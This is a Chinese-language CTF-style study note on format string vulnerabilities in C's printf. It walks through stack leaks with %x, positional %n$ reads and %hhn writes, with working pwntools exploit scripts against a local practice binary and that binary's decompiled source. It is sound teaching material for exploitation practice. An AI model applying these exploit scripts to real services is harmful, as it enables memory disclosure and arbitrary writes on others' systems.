printf(“%s %d %x”,str,n,addr)
格式化字符串漏洞
- 错误的使用方式,直接将使用者的输入作为fmt使用
- printf(str)
使用%x会造成栈上的信息泄露
可以使用 $ 来控制leak的位置
Use fmt:
- Read from arbitrary memory
- Write to arbitrary memory
读的话,我们可以读cancary 可以读实际地址 计算libc的基地址 不用再构造rop了
Read from arbitrary memory
首先确定 我的输入会在第几个出现?
输入aaaa %x…一大堆%x 然后数它
有了之后构造脚本
from pwn import *
r = remote('127.0.0.1',4000)
password_addr = 0x0804A048
r.recvuntil('?') #until ? I input
r.sendline(p32(password_addr)+'#'+'%10$s'+'#')
r.recvuntil('#')
print u32(r.recvuntil('#')[:4]) #u32解包只能4位4位的取
r.interactive()
这个就是我想要的地址的值,那么 如何提取它?↑看上面
最终脚本 实现任意地址的读
from pwn import *
r = remote('127.0.0.1',4000)
password_addr = 0x0804A048
r.recvuntil('?') #until ? I input
r.sendline(p32(password_addr)+'#'+'%10$s'+'#')
r.recvuntil('#')
pwd = u32(r.recvuntil('#')[:4])
r.recvuntil(':')
r.sendline(str(pwd))
r.interactive()
Write to arbitrary memory
Example
我要给x写入abcd,先写cd 再写 ab,写入时要注意前面的大小
- 首先放入x变量地址
- p(x_addr)+p32(x_addr+1) 一个地址是放 4 byte,第一个参数之前有两个地址
- 写入0xcd = 205-8 =197 => %197c%1$hhn
- 写入0xab = 171 – 205 +256 = 222 => %171c%2$hhn
pwntools
Write a single address @%7$
fmtstr_payload(7,{addr:value})
Write multiple address
fmtstr_payload(7,{addr1:value1,addr2:value2,…})
fmt的伪代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax@3
int v4; // edx@3
char s; // [sp+Ch] [bp-40Ch]@1
int v6; // [sp+40Ch] [bp-Ch]@1
v6 = *MK_FP(__GS__, 20);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
fgets(&s, 1024, stdin);
printf(&s); //这个地方有问题
if ( x == 339117970 )
puts("You get it!");
result = 0;
v4 = *MK_FP(__GS__, 20) ^ v6;
return result;
}
或者
nm ./fmt
要知道x的地址 才能写入
from pwn import *
r = remote('127.0.0.1',4000)
x_addr = 0x0804A02C
r.sendline(fmtstr_payload(7,{x_addr:339117970}))
r.interactive()